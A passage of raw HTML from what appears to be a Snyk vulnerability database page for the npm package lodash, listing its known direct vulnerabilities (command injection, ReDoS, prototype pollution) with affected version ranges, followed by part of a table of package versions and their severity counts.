data-v-7007bdd0><div data-snyk-test=\"card\" class=\"vue--block vue--card vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-4d26b709><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d> <ul data-v-3645d675 data-v-50201d1d><li data-snyk-test=\"DetailsBoxItem: latest version\" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <h3 data-snyk-test=\"DetailsBoxItem: item label\" class=\"vue--all-caps\" data-v-56a8aa57 data-v-39159965>latest version</h3> <p data-snyk-test=\"DetailsBoxItem: item value\" data-v-39159965>\n      4.17.21\n    </p></li> <li data-snyk-test=\"DetailsBoxItem: latest non vulnerable version\" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <h3 data-snyk-test=\"DetailsBoxItem: item label\" class=\"vue--all-caps\" data-v-56a8aa57 data-v-39159965>latest non vulnerable version</h3> <div data-snyk-test=\"DetailsBoxItem: item value\" class=\"div-margin-top\" data-v-39159965><a href=\"/package/npm/lodash/4.17.21\" class=\"vue--anchor\" data-v-ce2707d6 data-v-4d26b709>\n        4.17.21\n      <!----><!----></a></div></li> <li data-snyk-test=\"DetailsBoxItem: first published\" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <h3 data-snyk-test=\"DetailsBoxItem: item label\" class=\"vue--all-caps\" data-v-56a8aa57 data-v-39159965>first published</h3> <p data-snyk-test=\"DetailsBoxItem: item value\" data-v-39159965>\n      11 years ago\n    </p></li> <li data-snyk-test=\"DetailsBoxItem: latest version published\" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <h3 data-snyk-test=\"DetailsBoxItem: item label\" class=\"vue--all-caps\" data-v-56a8aa57 data-v-39159965>latest version published</h3> <p data-snyk-test=\"DetailsBoxItem: item value\" data-v-39159965>\n      2 years ago\n    </p></li> <li data-snyk-test=\"DetailsBoxItem: licenses detected\" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <h3 data-snyk-test=\"DetailsBoxItem: item label\" class=\"vue--all-caps\" data-v-56a8aa57 data-v-39159965>licenses detected</h3> <div data-snyk-test=\"DetailsBoxItem: item value\" class=\"div-margin-top\" data-v-39159965><ul data-snyk-test=\"package page: licenses\" class=\"single-license\" data-v-39159965 data-v-4d26b709><li class=\"container\" data-v-4adf8f36 data-v-4d26b709><div class=\"license\" data-v-4adf8f36><span data-snyk-test=\"license item list: spdx license expression\" data-v-4adf8f36><a rel=\"nofollow\" target=\"_blank\" href=\"https://snyk.io/vuln/snyk:lic:MIT\">MIT</a></span></div> <span data-snyk-test=\"license item list: covered versions\" class=\"versions\" data-v-4adf8f36>&gt;=0</span></li></ul></div></li> <!----> <li data-snyk-test=\"DetailsBoxItem: \" class=\"data-list-item\" data-v-39159965 data-v-4d26b709><!----> <!----> <div data-snyk-test=\"DetailsBoxItem: item value\" class=\"div-margin-top\" data-v-39159965><a aria-describedby=\"describedBymgr9rcBNDj\" rel=\"noopener noreferrer\" href=\"https://snyk.io/advisor/npm-package/lodash\" target=\"_blank\" data-snyk-test=\"PackageDetails: Link to advisor\" class=\"vue--anchor\" data-v-ce2707d6 data-v-4d26b709>\n        View lodash package health on Snyk Advisor\n      <!----><span id=\"describedBys43GYdkG9T\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a></div></li></ul> <!----></div></div> <!----> <!----></div></div> <div data-snyk-test=\"VulnDbFeedbackLinks: buttons\" class=\"base-buttons\" data-v-361c2e3a data-v-7007bdd0><a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://snyk.io/vulnerability-disclosure/\" data-snyk-test=\"VulnDbFeedbackLinks: support CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Report a new vulnerability\n  </a> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://support.snyk.io/hc/en-us/requests/new\" data-snyk-test=\"VulnDbFeedbackLinks: submit request CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Found a mistake?\n  </a></div></div> <div class=\"left\" data-v-43af9ae8 data-v-7007bdd0><div class=\"direct-vulnerability-section\" data-v-fcd3a9bc data-v-7007bdd0><h2 class=\"vue--heading direct-vulnerability-title\" data-v-8dd2f746 data-v-fcd3a9bc>Direct Vulnerabilities</h2> <div data-snyk-test=\"PackageDirectVulnerability: found\" data-v-fcd3a9bc><div class=\"vue--prose direct-vulnerability-description\" data-v-6b6ff1c7 data-v-fcd3a9bc><p data-v-6b6ff1c7 data-v-fcd3a9bc>\n        Known vulnerabilities in the lodash package. This does not include vulnerabilities belonging to\n        this package’s dependencies.\n      </p> <strong data-v-6b6ff1c7 data-v-fcd3a9bc>\n        Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and\n        provides fixes for free.\n      </strong></div> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://app.snyk.io/login?cta=sign-up&amp;loc=body-fix\" data-snyk-test=\"PackageDirectVulnerability: main CTA\" class=\"vue--button vue--button--cta\" data-v-94138f12 data-v-fcd3a9bc>\n      Fix for free\n    </a></div></div> <div class=\"vulns-table\" data-v-9065ff1a data-v-7007bdd0><div class=\"vue--block vulns-table__wrapper base-block\" data-v-3645d675 data-v-9065ff1a><table id=\"sortable-table\" aria-live=\"polite\" aria-atomic=\"true\" data-snyk-test=\"PackageVulnerabilitiesTable: table\" class=\"vue--table table\" data-v-90f947a4 data-v-9065ff1a><thead class=\"vue--table__thead\" data-v-90f947a4><tr class=\"vue--table__row\" data-v-90f947a4><th aria-sort=\"none\" scope=\"col\" aria-controls=\"sortable-table\" id=\"table-vulnerability\" data-snyk-test=\"BaseTableHeaderCell: Vulnerability\" class=\"vue--table__header vue--table-header\" data-v-f6c06e32 data-v-90f947a4>\n  Vulnerability\n   <!----></th><th aria-sort=\"none\" scope=\"col\" aria-controls=\"sortable-table\" id=\"table-version\" data-snyk-test=\"BaseTableHeaderCell: Vulnerable Version\" class=\"vue--table__header vue--table-header\" data-v-f6c06e32 data-v-90f947a4>\n  Vulnerable Version\n   <!----></th></tr></thead> <tbody class=\"vue--table__tbody\" data-v-90f947a4><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><!----> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><!----> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-1040724\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Command Injection\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.21\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><!----> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><!----> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-1018905\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Regular Expression Denial of Service (ReDoS)\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.21\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><!----> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><!----> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-608086\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Prototype Pollution\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.17\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><!----> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><!----> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-567746\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Prototype Pollution\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &gt;=4.1.0 &lt;4.17.20\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><!----> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><!----> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-450202\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Prototype Pollution\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.12\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><!----> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><!----> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-73639\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Regular Expression Denial of Service (ReDoS)\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.11\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><!----> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><!----> <!----><!----> <!----></ul> <a href=\"vuln/SNYK-JS-LODASH-73638\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Prototype Pollution\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.11\n  </span> <!----></span></div></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><ul class=\"vue--severity package-vulnerabilities vulns-table__severity vue--severity--compact base-severity\" data-v-87993300 data-v-46065f2c data-v-9065ff1a><!----> <!----><!----> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><!----> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><!----> <!----></ul> <a href=\"vuln/npm:lodash:20180130\" data-snyk-test=\"vuln table title\" class=\"vue--anchor\" data-v-ce2707d6 data-v-9065ff1a>\n          Prototype Pollution\n        <!----><!----></a> <!----></td><td data-v-90f947a4><div class=\"vulnerable-versions\" data-v-40f87956 data-v-9065ff1a><p class=\"vulnerable-versions__title\" data-v-40f87956></p> <span data-snyk-test=\"VulnerableVersions: version\" class=\"vue--chip vulnerable-versions__chip vue--chip--default\" data-v-8483c778 data-v-40f87956><span class=\"vue--chip__value\" data-v-8483c778>\n    &lt;4.17.5\n  </span> <!----></span></div></td></tr></tbody> <!----></table></div></div> <div class=\"package-versions-table__container\" data-v-f334a378 data-v-7007bdd0><h2 class=\"vue--heading package-versions-table__title\" data-v-8dd2f746 data-v-f334a378>Package versions</h2> <div class=\"package-versions-table__table-with-pagination\" data-v-f334a378><span data-snyk-test=\"PackageVersionsTable: pagination info\" data-v-f334a378>1 - 100 of 114 Results</span> <div data-snyk-test=\"PackageVersionsTable: table\" class=\"package-versions-table__table\" data-v-f334a378><div class=\"vue--block package-versions-table__base-block\" data-v-3645d675 data-v-f334a378><div class=\"table-wrapper\" data-v-3645d675 data-v-f334a378><table id=\"sortable-table\" aria-live=\"polite\" aria-atomic=\"true\" class=\"vue--table table\" data-v-90f947a4 data-v-f334a378><thead class=\"vue--table__thead\" data-v-90f947a4><tr class=\"vue--table__row\" data-v-90f947a4><th aria-sort=\"none\" scope=\"col\" aria-controls=\"sortable-table\" id=\"table-version\" data-snyk-test=\"BaseTableHeaderCell: version\" class=\"vue--table__header vue--table-header\" data-v-f6c06e32 data-v-90f947a4>\n  version\n   <!----></th><th aria-sort=\"none\" scope=\"col\" aria-controls=\"sortable-table\" id=\"table-published\" data-snyk-test=\"BaseTableHeaderCell: published\" class=\"vue--table__header vue--table-header\" data-v-f6c06e32 data-v-90f947a4>\n  published\n   <!----></th><th aria-sort=\"none\" scope=\"col\" aria-controls=\"sortable-table\" id=\"table-severitySummary\" data-snyk-test=\"BaseTableHeaderCell: direct vulnerabilities\" class=\"vue--table__header vue--table-header\" data-v-f6c06e32 data-v-90f947a4>\n  direct vulnerabilities\n   <!----></th></tr></thead> <tbody class=\"vue--table__tbody\" data-v-90f947a4><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.21\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.21\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.21\" published=\"20 Feb, 2021\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.21\" data-v-90f947a4>\n          20 Feb, 2021\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.20\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.20\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.20\" published=\"13 Aug, 2020\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.20\" data-v-90f947a4>\n          13 Aug, 2020\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.19\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.19\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.19\" published=\"8 Jul, 2020\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.19\" data-v-90f947a4>\n          8 Jul, 2020\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.18\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.18\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.18\" published=\"8 Jul, 2020\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.18\" data-v-90f947a4>\n          8 Jul, 2020\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.17\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.17\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.17\" published=\"8 Jul, 2020\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.17\" data-v-90f947a4>\n          8 Jul, 2020\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.16\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.16\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.16\" published=\"8 Jul, 2020\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.16\" data-v-90f947a4>\n          8 Jul, 2020\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.15\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.15\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.15\" published=\"19 Jul, 2019\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.15\" data-v-90f947a4>\n          19 Jul, 2019\n        